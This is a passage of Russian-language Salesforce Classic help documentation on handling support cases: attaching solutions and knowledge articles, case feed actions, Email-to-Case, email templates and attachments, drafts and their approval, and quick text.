1. Просмотрите обращение.

2. Найдите статьюилирешение, содержащееответна вопрос, указанныйвобращении.

3. Чтобы вложить статью или решение в обращение, щелкните ссылку «Выбрать»
напротив нужного проверенного решения в списке решений. Илищелкните
заголовок нужного непроверенного решения и нажмите кнопку «Выбрать» на
странице сведений.

4. Чтобы отправить решение контакту, нажмите кнопку «Отправить сообщение эл.
почты» в связанном списке «Журнал действий».

a. Чтобы выбрать нужныйшаблон, нажмите кнопку «Выбратьшаблон».

Создание шаблонов эл. почты, содержащих описание обращения, сведения о
решении, вложения и другие поля, доступно текущему пользователю или
администратору.

b. Заполните поля сообщения эл. почты.

c. Нажмите кнопку «Отправить».

Решенияилистатьи, отправленныепоэл. почте, добавляютсяв качестведействий
в связанный список «Журнал действий».

5. Закройте обращение.

СМ. ТАКЖЕ:

Общие сведения о предложенных решениях

Общие сведения о многоязычных решениях
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Использование предложенных статей для принятия решений по обращениям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
поддержки:
• «Управление

обращениями»

И

«Настройка
приложения»

Для просмотра статей:
• «Чтение» для типа

статьи

Предложенныестатьипозволяютпользователямбазызнанийбыстроприниматьрешения
пополученнымобращениям. После сохранениянового обращения система выполняет
автоматический поиск статей, содержащих такие же ключевые слова, что и тема
обращения. Пользователь, работающий над обращением, может просмотреть статьи и
вложить их в обращение или выполнить новый поиск по другим ключевым словам.
Статьи, вложенные в обращение, отображаются в связанном списке «Статьи», который
также содержит кнопку «Поиск статей» для поиска статей в базе знаний.

Чтобывключитьподдержкупредложенныхстатей, выполнитеуказанныенижедействия.

1. Введитестроку «Параметры поддержки» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Параметры поддержки».

2. Нажмите кнопку «Правка» и установите флажок «Включить предложенные
статьи». Предложенные статьи и предложенные решения не могут быть включены
одновременно.

3. Выберите канал, который должен принимать предложенные статьи при отправке
обращения. Предложенные статьи доступны во внутреннем приложении и на
порталах.

4. По завершении нажмите кнопку «Сохранить».

Прим.: Если предложенные статьи не содержат решения, создайте статью
посредством кнопки «Создать».

СМ. ТАКЖЕ:

Общие сведения о Salesforce Knowledge

Использование действий для обработки обращений в ленте обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Действия ленты обращений позволяют агентам службы поддержки выполнять разные
задачи (например, отправлятьсообщенияэл. почты, публиковатьсообщениянапорталах
и в сообществах, регистрировать вызовы, изменять статус обращения и добавлять
примечания к обращению) посредством одной страницы.

Действия отображаются в публикаторе вверху ленты.

Ниже перечислены некоторые типичные действия ленты обращений. В зависимости
от заданных настроек организации, некоторые действия могут быть недоступны.
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• Действие «Эл. почта» позволяет отвечать клиентам по эл. почте. В некоторых организациях действия «Эл. почта» и
«Портал» отображаются как действие «Ответить клиенту».

• Действие «Записатьвызоввжурнал» позволяетсоздаватьзапись, содержащуюсведенияотелефонномзвонке. Журналы
вызовов доступны только другим пользователям организации, но не клиентам.

Прим.: Прииспользованиипрограммноготелефоназавершенныевызовыипримечанияквызовамавтоматически
регистрируются в ленте обращения аналогично записям журнала взаимодействия, поле «Статус» которых
содержит значение «Завершено».

• Действие «Портал» позволяет публиковать ответы на клиентском портале или в сообществе Chatter Answers.

• Действие «Изменить статус» позволяет расширять, закрывать или изменять статус обращения.

• Действие «Вопрос» позволяет искать и создавать вопросы.

• Действия «Сообщение», «Файл» и «Ссылка» аналогичны действиям, отображаемым в Chatter.

– Действие «Сообщение» позволяет создавать примечания к обращению для обмена сведениями об обращении
или получения помощи от других пользователей организации. (Примечания, созданные посредством действия
«Сообщение», недобавляютсяв связанныйсписок «Комментариикобращению», доступныйнастраницесведений
об обращении.)

– Действие «Файл» позволяет добавлять PDF-файл, фотографию или другой документ в обращение. (Документы,
добавленные посредством действия «Файл», не добавляются в связанный список «Вложения», доступный на
странице сведений об обращении.)

– Действие «Ссылка» позволяет публиковать ссылку, связанную с обращением.

СМ. ТАКЖЕ:

Общие сведения о ленте обращений
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Поиск, добавление и отправка статей по эл. почте посредством инструмента ленты
обращений «Статьи»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования статей в
ленте обращений:
• «Управление

обращениями»

И

«Чтение» для как
минимум одного типа
статьи

Статьи базы знаний, содержащие этапы устранения неполадок и другие подробные
сведения, позволяют пользователям быстро принимать решения по обращениям.
Инструмент «Статьи», доступный в ленте обращений, позволяет искать статьи,
соответствующие обрабатываемому обращению, добавлять статьи в обращение и
отправлять их клиентам по эл. почте.

Прим.: Прежде чем воспользоваться инструментом «Статьи», администратор
организации должен настроить Salesforce Knowledge.

•
Чтобы открыть инструмент «Статьи», щелкните значок .

• Поумолчаниюинструментотображает статьи, содержащиеключевые словаилифразы, которые соответствуюттеме
и описанию обрабатываемого обращения. Если нужная статья отсутствует, введите новые критерии в поле поиска и
нажмите кнопку «Повторный поиск». Чтобы воспользоваться дополнительными параметрами, щелкните ссылку
«Расширенный поиск статей».

• Чтобы открыть статью в новом окне для просмотра дополнительных сведений, щелкните заголовок нужной статьи.

• Выберите нужное действие для найденной статьи.

– Чтобыдобавить статьюв сообщение в виде PDF-файла, выберите действие «Отправить клиенту по эл. почте».

– Чтобы добавить статью в виде вложения к обращению, выберите действие «Вложить в обращение».
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Закрытие обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для закрытия обращений:
• «Редактирование» для

обращений

После принятия решения по обращению клиента закройте его в нескольких
местоположенияхисоздайтерешениеилистатьюдлясодействияразрешенияподобных
обращений.

1. Нажмите кнопку «Закрыть обращение» на странице сведений об обращении,
ссылку«Закр.»всвязанномсписке «Обращения» иликнопку«Сохранитьизакрыть»
на странице редактирования обращения. При наличии возможности выберите
значение «Закрыто» в поле «Статус» на странице редактирования обращения и
нажмите кнопку «Сохранить».

2. При необходимости обновите поля «Статус», «Причина обращения» и все
остальные поля.

3. Если включена поддержка решений, заполните поле обращения «Сведения о
решении». Если не хотите сохранять решение или отправлять его на рассмотрение
менеджеру решений, снимите флажок «Отправить в общедоступные решения».
Если флажок в данном поле установлен, новое решение будет автоматически
ссылаться на обращение.

4. Если в обращении имеется контакт, выберите «Уведомить контакт о закрытии
обращения» дляотправкиэлектронногосообщенияконтактунаосновестандартного
шаблона закрытия обращения.

5. Нажмитекнопку«Сохранить»или «Сохранитьисоздатьстатью». Последняякнопкадоступнатольковтомслучае,
есливорганизациииспользуетсяSalesforce Knowledgeивключенафункция «отправкистатьипризакрытииобращения».

Совет: При наличии разрешения «Управление обращениями» можно закрыть сразу несколько обращений с
помощью кнопки «Закрыть» в списках обращений.

СМ. ТАКЖЕ:

Советы по созданию решений

Отправка статей из обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Настройка приложения»Для настройкифункции Email-to-Case или
On-Demand Email-to-Case:

«Изменение всех данных»

И

«Настройка приложения»

Для включенияфункции Email-to-Case или
On-Demand Email-to-Case:

«Настройка приложения»Для настройки макетов страниц:

«Редактирование HTML-шаблонов»Для создания или изменения
HTML-шаблонов эл. почты:

«Управление общедоступнымишаблонами»Для создания или изменения папок с
общедоступными шаблонами эл. почты:
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«Настройка приложения»Для создания или измененияшаблонов эл. почты Visualforce:

Если статьи связаны с обращением, то пользователи, работающиенад обращением, могут вкладывать PDF-версии статей
в сообщения эл. почты путем выбора созданного шаблона. Такая возможность доступна только в том случае, если
настроенафункция Email-to-Case или On-Demand Email-to-Case, а в макетах страницыобращенийотображается связанный
список «Эл. почта».

Создание шаблона эл. почты, преобразующего статьи в PDF-файлы
Чтобыразрешитьпользователям, работающимнадобращениями, автоматическидобавлять PDF-версиистатейвсообщения
эл. почты, выполните указанные ниже действия.

1. Введите строку «Шаблоны эл. почты» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Шаблоны
эл. почты».

2. Чтобы создать шаблон, нажмите кнопку «Создатьшаблон». Чтобы изменить текущийшаблон, щелкните ссылку
«Правка»напротивнужногошаблона. Новыйилиизмененныйшаблондолженсодержатьполеобращения «Статьи
как документы в формате PDF».

3. Например, чтобыизменитьшаблон SUPPORT: Case Response with Solution (SAMPLE) для добавления статей вместорешений,
выполните указанные ниже действия.

a. Щелкните ссылку «Правка» напротив шаблона SUPPORT: Case Response with Solution (SAMPLE).

b. Измените значение поля «Имя шаблона эл. почты» на SUPPORT: Case Response with Article (SAMPLE).

c. При необходимости измените значение поля «Уникальное имя шаблона».

d. Выберите значение «Поля обращения» в раскрывающемся меню «Выбрать тип поля».

e. Выберите значение «Статьи как документы вформате PDF» в раскрывающемся меню «Выбрать поле».

f. Скопируйте значение поля «Копировать значение поля слияния» и вставьте его в текст сообщения эл. почты.

4. Нажмите кнопку «Сохранить».

Теперь связанныйсписок «Сообщенияэл. почты» на страницесведенийобобращениисодержиткнопку «Отправить
сообщение эл. почты» и поддерживает выбор нового шаблона. Статьи, связанные с обращением, автоматически
преобразуются в PDF-вложения, которые при необходимости могут быть просмотрены или удалены до отправки
сообщения эл. почты.

Прим.: Язык статьи должен соответствовать языку базы знаний. Например, если в вашей базе знаний основной
язык — английский, но вам требуется преобразовать статью на японском языке в формат PDF, измените язык базы
знанийна японский (вразделе «Настройка» введите «База знаний» вполе «Быстрый поиск», выберите «Параметры
базы знаний», после чего щелкните «Редактировать») перед преобразованием статьи.

Примечания по доступности полей в PDF-версиях статей
Ниже перечислены рекомендации по использованиюшаблонов эл. почты, поддерживающихфункцию «Статьи как
документы вформате PDF».

• Поля, которые отображаются в PDF-версиях статьи, определяются вашим профилем, если пункт «Использовать
профиль для создания PDF-версий статьи для клиентов по обращениям»  (в разделе «Настройки» введите
«Параметры базы знаний» в поле «Быстрый поиск», затем выберите «Параметры базы знаний») не отмечен
флажком. Если исходная статья содержит все поля, то автоматически создаваемая PDF-версия также содержит все
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поля. Поле статьи, заблокированное параметрами безопасности поля, и его данные не отображаются в PDF-версии
статьи.

• Если флажок «Использовать профиль для создания финальных PDF-статей для обращений» установлен, а
профиль выбран в меню «Профиль» (в меню «Настройка» введите «Параметры базы знаний» в поле «Быстрый
поиск», выберите «Параметры базы знаний»), то выбранный профиль определяет поля, отображаемые в
автоматическисоздаваемых PDF-версиях. Например, пользователь, отправляющийклиентам PDF-версиистатей, может
выбрать профиль «Пользователь клиентского портала», чтобы гарантировать отсутствие полей, предназначенных
для внутреннего пользования, в PDF-версиях статей.

• Независимоот заданныхпараметрови выбранногопрофиля, поля, доступныевразделе статьи «Свойства» (например,
«Дата первой публикации», «Дата последнего изменения», «Дата последней публикации» и «Сводка») не
добавляются в PDF-версию.

СМ. ТАКЖЕ:

Общие сведения о Salesforce Knowledge

Настройка Salesforce Knowledge

Отправка ответов клиентам

Отправка сообщений эл. почты клиентам

Работа с сообщениями эл. почты, содержащими обращения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра обращений:
• «Чтение» для

обращений

Для работы с сообщениями
эл. почты, содержащими
обращения:
• «Редактирование» для

обращений

Обращения, созданные спомощьюфункции Email-to-Case илиOn-Demand Email-to-Case,
отображаются в связанном списке «Сообщения эл. почты». Связанный список
«Сообщения эл. почты» содержит все сообщения эл. почты, отправленные клиентомпо
конкретному обращению, а также цепочки сообщений между текущим пользователем
иегоклиентом. Связанныйсписокпозволяетотображатьпервые 77 символовсообщения
эл. почты, поэтому пользователи могут просматривать содержимое сообщений без их
открытия.

Чтобывоспользоватьсяфункцией Email-to-Case илиOn-Demand Email-to-Case, выполните
указанные ниже действия.

• Чтобыотправить сообщениеэл. почтыконтакту, другомупользователюилилюбому
другому адресату, нажмите кнопку «Отправить сообщение эл. почты».

• Чтобы ответить на сообщение эл. почты, нажмите кнопку «Ответить». В ответ
автоматически добавляется сообщение, полученное от клиента. Введите ответ и
нажмите кнопку «Отправить».

Приответена сообщения эл. почтыв связанномспискеобращения «Эл. почта» поле
«От» может содержать адрес no-reply@salesforce.com или
support@company.com. Отображаемыйадресопределяется способомобработки
заголовков входящих сообщений эл. почты «Отправитель» и «От» почтовыми
приложениями получателей. По умолчанию для организации выбран параметр
«Включить соответствие протоколу Sender ID», который обеспечивает
совместимость сообщений Salesforce с почтовыми приложениями, требующими
наличия заголовка «Отправитель» для доставки.
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• Чтобы ответить всем участникам цепочки, нажмите кнопку «Всем».

• Чтобы просмотреть сообщение эл. почты, щелкните тему нужного сообщения. При необходимости ответьте
отправителю, ответьте всем адресатам, перенаправьте или удалите сообщение эл. почты.

• Чтобы просмотреть все сообщения эл. почты, связанные с обращением, щелкните ссылку «Список сообщений эл.
почты» при просмотре сообщения эл. почты. Чтобы просмотреть другие сообщения эл. почты, воспользуйтесь
ссылками «Далее» или «Назад».

Прим.: Ссылки «Списоксообщенийэл. почты», «Далее»и «Назад»недоступнынаклиентскомипартнерском
порталах.

• Чтобы переслать просматриваемое сообщение эл. почты, щелкните «Перенаправить». В сообщение эл. почты
автоматически добавляется сообщение, полученное от клиента. Принеобходимости введите текст инажмите кнопку
«Отправить».

• Чтобы просмотреть HTML-версию сообщения эл. почты, исходная версия которого использовала HTML-формат,
щелкните ссылку «Щелкните здесь для просмотра HTML-версии». Чтобы просмотреть весь заголовок сообщения
эл. почты, щелкните ссылку «Щелкните здесь для просмотра заголовков исходных сообщений эл. почты».

• Чтобы просмотреть вложения, добавленные во входящие сообщения эл. почты, перейдите к связанному списку
«Вложения». Чтобыпросмотретьвложения, добавленныевисходящиесообщенияэл. почты, воспользуйтесьсвязанным
списком исходящих сообщений «Вложения».

Максимальный размер вложения составляет 5 Мб. Пользователь, выполнивший настройку почтового приложения,
можетпросматриватьфайлжурналадляопределениявложений, размеркоторыхпревышаетмаксимальнодопустимый.

• Чтобы удалить сообщение эл. почты, щелкните ссылку «Удал.». Обратите внимание, что удаленное сообщение эл.
почтыможет быть восстановленоиз корзины. Однако сообщение эл. почты, удаленное из обращения, которое также
было удалено, не может быть восстановлено из корзины.

Связанный список «Эл. почта» отображает сообщения эл. почты в порядке получения (самые последние отображаются
первыми). Ниже перечислены статусы сообщений эл. почты, доступных в связанном списке.

ОписаниеСтатус сообщения эл. почты

Входящеесообщениеэл. почты, котороеещенепрочитано.

Содержимое поля «Тема» отображается полужирным
шрифтом для сообщений эл. почты, поле «Статус»
которых содержит значение «Новое».

Новое

Входящее сообщение эл. почты, котороепрочитано, ноне
отвечено.

Прочитанное

Исходящее сообщение эл. почты.Отправленное .

Входящее сообщение эл. почты, которое отвечено. Статус
«Отвечено» присваивается при ответе на отправленное
сообщение эл. почты.

Отвечено

Если обращение содержит новое (непрочитанное) сообщение эл. почты, то задача «Эл. почта», связанная с этим
обращением, автоматически создается в списке задач ответственного с отображаемой темой сообщения эл. почты.
Ответственный может просмотреть новую задачу на вкладке «Начальная страница» или в связанном списке обращения
«Открытые действия». Чтобыпросмотреть сообщение эл. почты, связанное с обращением, щелкните ссылку, доступную
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в задаче. Если пользователь отвечает на сообщение эл. почты, то задача удаляется из списка задач ответственного и
добавляется в связанный список обращения «Журнал действий». Чтобы переместить задачу без отправки ответа в
связанный список «Журнал действий», назначьте задаче статус «Завершено».

Прим.: Если входящие сообщения эл. почты создают новое обращение, а правила назначения добавляют данное
обращение в очередь, то задача «Эл. почта» назначается пользователю, настроившему почтовое приложение.

Если входящее сообщение эл. почты не содержит адреса текущего контакта, то поле обращения «Веб-имя»
автоматическиобновляетсяипринимает значениеполясообщенияэл. почты «От», аполеобращения «Веб-адрес»
также автоматически обновляется и принимает значение адреса эл. почты, указанного во входящем сообщении.

Совет: Чтобы просмотреть обращения, полученные посредствомфункции Email-to-Case, добавьте поле «Является
входящим» в выполняемый отчет «Обращения с сообщениями эл. почты».

СМ. ТАКЖЕ:

Отправка статей из обращений

Отправка исходных и ответных сообщений эл. почты из ленты обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отправки сообщений
эл. почты:
• «Отправка эл. почты»

Действие «Эл. почта» лентыобращенийпозволяет экономитьрабочее времяна создании
сообщений и настраивать сообщения эл. почты, отправляемые клиентам.

Прим.:

• Действие «Эл. почта» ленты обращений доступно только при использовании
функции Email-to-Case.

• В зависимости от параметров ленты обращений, заданных администратором,
некоторыеописанныенижеэлементыинтерфейсамогутбытьнедоступныили
выглядеть иначе.

Выполните указанные ниже действия.
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1. Взависимостиототображаемогодействия, нажмитекнопку «Ответитьклиенту»ивыберитедействие «Эл. почта»
или сразущелкните «Эл. почта». Чтобы ответить на сообщение, щелкните «Ответить» или «Ответить всем» под
нужным сообщением эл. почты в ленте.

2. При использованиишаблонов эл. почты выберите нужныйшаблон.

3. Выберите адрес в поле «От».
Еслиданноеполенеотображается в видераскрывающегося списка, то адресотправителя уже задан администратором.

4. Адрес эл. почты контакта, создавшего обращение, автоматически отображается в поле «Кому», при условии, что

автором является существующий контакт. Чтобы добавить других получателей, щелкните значок для поиска
адреса, либо введите или вставьте нужные адреса эл. почты или имена в поле «Кому».

• Привводе адреса эл. почтыилиимени, соответствующегоодномуконтактуилипользователю, адресотображается
в виде кнопки, содержащей имя пользователя.

• Чтобыодновременнодобавитьнесколькоадресов, скопируйтеивставьтенужныеадресачерезпробелилизапятую.
Данныеадреса эл. почтыотображаютсяв видекнопок, содержащихименасвязанныхконтактовилипользователей.

• При вводе адреса эл. почты, соответствующего нескольким контактам или пользователям, адрес отображается в
видекнопки. Чтобывыбратьнужногопользователя, нажмитеданнуюкнопкуипросмотритесписокпользователей,
связанных с введенным адресом эл. почты.

5. Чтобы отправить копию сообщения другим пользователям, щелкните ссылку «Добавить копию» или «Добавить
СК».

6. Поумолчаниютема сообщения эл. почтысоответствуетименисвязанногообращения. Принеобходимостиизмените
тему.

7. Чтобы отформатировать сообщение, воспользуйтесь редактором обогащенного текста.

8. Создайте сообщение. Прииспользованиисообщенийтипа «Быстрыйтекст» добавьтеих в текст сообщения эл. почты.
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9. Если организация поддерживает электронные черновики, нажмите кнопку «Сохранить» для сохранения копии
сообщения в качестве черновика. Сообщение, сохраненное в качестве черновика, может быть изменено любым
агентом, имеющим доступ к соответствующему обращению.

10. Чтобы добавитьфайлы в сообщение, щелкните ссылку «Вложитьфайл» или перетащите нужныефайлы на панель
вложений.

11. При необходимости прикрепите статью к сообщению.

12. Нажмите кнопку «Отправить эл. почту».

Примечание. В зависимости от параметров ленты обращений, заданных администратором, данная кнопка может
иметь разные названия.

Совет: Чтобы изменить высоту панели сообщения, потяните значок , расположенный в нижнем правом углу.
Чтобырасширить область просмотра вводимого текста, рекомендуем увеличить высоту. Чтобырасширить область
просмотра журнала обращения, рекомендуем уменьшить высоту. Обновленная панель сообщения используется
при создании каждого сообщения эл. почты до повторного изменения ее размера.

СМ. ТАКЖЕ:

Публикациясообщенийдляобращенийивопросовсообществапосредствомдействия «Сообщество» лентыобращений

Общие сведения о ленте обращений

Использование быстрого текста в ленте обращений

Добавление изображений и файлов в сообщения эл. почты посредством ленты обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отправки сообщений
эл. почты, содержащих
вложения или встроенные
изображения:
• «Отправка эл. почты»

Система позволяет предоставлять клиентам подробные сведения, необходимые для
быстрого устранения возникающих неполадок, путем вложения файлов в сообщения
эл. почтыидобавлениявстроенныхизображений, расширяющихтекстовоесодержимое.

Например, пользователь, обрабатывающий обращение, которое предполагает
применение клиентом нескольких разных решений, может дополнить ответное
сообщение эл. почты специальным видеороликом или документом, содержащим
подробное описание разных этапов устранения неполадок. Кроме того, пользователь
может дополнить текст сообщения встроенными изображениями каждого этапа,
позволяющими клиентам максимально точно выполнять нужные действия.

• Чтобы добавить встроенное изображение, щелкните значок на панели
инструментов публикатора «Эл. почта» ленты обращений и загрузите нужное
изображение или добавьте ссылку. Размер каждого внедряемого изображения не
должен превышать 1 Мб; допустимые форматы: PNG, JPG, JPEG, JPE, JFIF, PJPEG, BMP и
GIF. Общий размер сообщения эл. почты, включая изображения и текст, не может
превышать 12 Мб.

Прим.: Изображения могут быть добавлены посредством редактора
обогащенного текста в публикаторе «Эл. почта». Редактор обычного текста не
поддерживает внедрение изображений.

• Чтобывложитьфайлывсообщениеэл. почты, воспользуйтесьэлементом«Загрузить
файлы», позволяющимвыбиратьфайлынакомпьютереиливсистемеSalesforce, либоиспользоватьфайлы, вложенные
в обращение, или перетащите файлы в область вложений, расположенную внизу публикатора «Эл. почта». Каждое
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сообщение эл. почтыможет содержать вложение размеромне более 10 Мб. Система Salesforceподдерживает все типы
файлов.

Прим.: Функция перетаскивания доступна только обозревателям, поддерживающим HTML5.

• Щелкните «Файлы:», чтобы просмотреть список добавленных вложений.

•
Чтобы удалить вложение, щелкните значок напротив нужного вложения.

Все внедренные изображения отображаются получателю в тексте сообщения эл. почты. Если общий размер вложений
превышает 3 Мб, то все вложения отображаются в виде ссылок, которые могут использоваться получателем для загрузки
файлов. В противном случае каждыйфайл отображается в виде вложения.

Пример: Например, пользователь является агентом службы поддержки для компании-производителя бытовой
техники, которыйобрабатываетобращениеклиента, связанноеснеисправностьюморозильнойкамерыхолодильника.
Пользовательможет отправить клиенту сообщение эл. почты, содержащее подробныеинструкциипо устранению
неполадок морозильной камеры, а также дополнить свой ответ изображениями всех этапов и двумя документами:
PDF-версия руководства пользователя (2 Мб) и список рекомендаций по обслуживанию (10 Кб). Таким образом,
получателю сообщения эл. почты будут доступны следующие вложения:

• Изображения, внедренные в текст сообщения эл. почты, которыемогут использоваться клиентом как наглядные
материалы по устранению неполадок.

• Руководствопользователяисписокрекомендацийпообслуживанию (т. к. ихобщийразмернепревышает 3 Мб).

Если сообщение эл. почты дополняется видеороликом (2,5 Мб), то все три вложения будут отображаться клиенту
в виде ссылок, т. к. общий размер всех вложений будет превышать 3 Мб.

СМ. ТАКЖЕ:

Отправка исходных и ответных сообщений эл. почты из ленты обращений

Поиск, добавление и отправка статей по эл. почте посредством инструмента ленты обращений «Статьи»

Настройка сообщений эл. почты посредством редактора обогащенного текста в ленте обращений
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Использование шаблонов эл. почты в ленте обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отправки сообщений
эл. почты:
• «Отправка эл. почты»

Гарантируя согласованностьданныхиэкономиювремени, шаблоныпозволяютбыстро
добавлять основные сведения (например, имя клиента и номер обращения). Шаблоны
эл. почты (текстовые, HTML или Visualforce), созданные администратором, а также
собственные шаблоны эл. почты, могут использоваться для отправки сообщений
клиентам в ленте обращений.

Приработе сшаблонами эл. почтырекомендуемиспользовать редактор обогащенного
текста.

Прим.: В зависимости от параметров ленты обращений, заданных
администратором, при использовании действия «Эл. почта» может отображаться
предварительнозагруженныйшаблон. Чтобывыбратьдругойшаблон, выполните
указанные ниже действия.

Чтобы воспользоваться шаблоном, выполните указанные ниже действия.

1. В зависимости от отображаемого действия, нажмите кнопку «Ответить клиенту» и
выберите действие «Эл. почта» или сразу щелкните «Эл. почта».

2. Щелкните «Выбрать шаблон».

3. Выберите папку, содержащую нужныйшаблон.

4. Чтобы добавить шаблон в сообщение эл. почты, щелкните имя нужного шаблона.

Совет:

• Все текстовыеили HTML-шаблоныдобавляются впорядкеих выбора. ВыбранныйшаблонVisualforce заменяет
шаблон, выбранный ранее.

• Вложения, доступные в выбранномшаблоне, также добавляются в сообщение.

• Поля слияния, доступные в выбранномшаблоне, объединяются только в том случае, если связаны с
обращением.

• Чтобы удалить шаблон, щелкните значок . Данное действие также удаляет любой введенный текст и все
вложения.

5. Отправьте готовое сообщение получателю.

Работа с электронными черновиками в ленте обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Электронные черновики позволяют агентам службы поддержки сохранять созданные
сообщения для более поздней отправки, а администраторам — создавать процессы
утверждения для сообщений эл. почты.

Черновикидоступнытольковтомслучае, еслиихподдержкавключенаадминистратором.

Благодаря возможности сохранения сообщений в качестве черновиков, агенты службы
поддержки могут собирать дополнительную информацию о текущей проблеме,
советоваться с коллегамипо обязательным этапам устранения неполадок или временно
завершатьработу с системойSalesforce. Чтобысохранитьсозданноесообщениеэл. почты
в качестве черновика, нажмите кнопку «Сохранить» под текстовым полем.

Прим.: Черновики не сохраняются автоматически.
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Каждое обращение может иметь только один связанный электронный черновик, поэтому дополнительное сообщение
эл. почты, связанноесобращением, для которогоуже сохраненодинчерновик, можетбыть созданотолькопослеотправки
или удаления текущего черновика. При просмотре обращения со связанным черновиком пользователю отображается
уведомление, содержащееимя автора черновикаи ссылку для просмотра. Электронныйчерновик, которыйне отправлен
на утверждение, может быть изменен любым агентом или администратором, имеющим доступ к соответствующему
обращению.

Если компания использует процессы утверждения для сообщений эл. почты, то готовое сообщение отправляется на
проверкуадминистратору. (Взависимостиотпараметровпроцессовутверждения, заданныхадминистратором, пользователи
могут отправлять сообщения напрямую клиентам или на проверку старшим агентам.) Утвержденное сообщение
отправляется клиенту. Отклоненное сообщение и причина отклонения отображаются вверху публикатора при выборе
действия«Эл. почта»вовремяпросмотраобращения. Принеобходимостисообщениеможетбытьизмененоиотправлено
повторно.

СМ. ТАКЖЕ:

Проверка и утверждение электронных черновиков

Проверка и утверждение электронных черновиков

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для проверкии утверждения
электронных черновиков:
• «Отправка эл. почты»

И

Включение в процесс
утверждения эл. почты

В зависимости от параметров электронных черновиков и процессов утверждения,
заданных администратором, сообщения, созданные подчиненными агентами, могут
быть отправлены клиентам напрямую, либо только после дополнительной проверки и
утверждения.

Если агент отправляет сообщение на утверждение, то администратор получает
электронное уведомление, содержащее ссылку на соответствующее обращение.
Уведомлениеотображаетсявверхупубликаторапривыборедействия«Эл. почта». Чтобы
открытьстраницусведенийосообщении, щелкните«Просмотрсообщенияэл. почты».
Ниже перечислены действия, доступные на данной странице.

• Чтобы сделать сообщение доступным для редактирования, щелкните
«Разблокировать запись».

• Чтобы удалить черновик, щелкните «Удалить».

• Чтобы утвердить или отклонить сообщение, щелкните «Утвердить/отклонить» в
связанном списке «Журнал утверждений».

• Чтобыназначитьутверждениедругомуадминистратору, щелкните«Переназначить».

Утвержденное сообщение отправляется клиенту. Отклоненное сообщениеможет быть
дополнено примечанием, содержащим причины отклонения. Наряду с уведомлением
оботклонениичерновика, данноепримечаниеотображаетсянадпубликаторомстраницы
обращения при выборе действия «Эл. почта».

СМ. ТАКЖЕ:

Работа с электронными черновиками в ленте обращений

Включение стандартныхшаблонов эл. почты в ленте обращений

Создание процессов утверждения для электронных черновиков
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Настройка сообщений эл. почты посредством редактора обогащенного текста в ленте обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для отправки сообщений
эл. почты:
• «Отправка эл. почты»

Редакторобогащенноготекстапозволяетнастраиватьсообщенияэл. почты, отправляемые
клиентам. Пользователи могут форматировать текст, создавать маркированные или
нумерованные списки и добавлять изображения или ссылки.

Доступ к редактору

Редактор обогащенного текста отображается после нажатия кнопки «Эл. почта» или
«Ответить клиенту» и выбора действия «Эл. почта» в публикаторе ленты обращений.
Ниже перечислены причины, препятствующие отображению редактора.

• Поддержка редактора не включена администратором.

• Последний раз сообщение эл. почты в ленте обращений создавалось посредством
редактораобычноготекста. Чтобыоткрытьредакторобогащенноготекста, щелкните

значок-переключатель .

Советы по использованию редактора обогащенного текста

• Редактор обогащенного текста доступен только для действия «Эл. почта».

• HTML или любой другой тип разметки, добавленный в редакторе, не будет
отображаться при отправке сообщения.

•
Чтобы удалить сообщение, нажмите кнопку .

Использование быстрого текста в ленте обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования
быстрого текста в ленте
обращений:
• «Чтение» для объекта

«Быстрый текст»

Быстрыйтекстпозволяетускоритьотправкуответовклиентамиобновлениеобращений.
Готовыесообщения (например, приветствияилитипичныеэтапыустранениянеполадок)
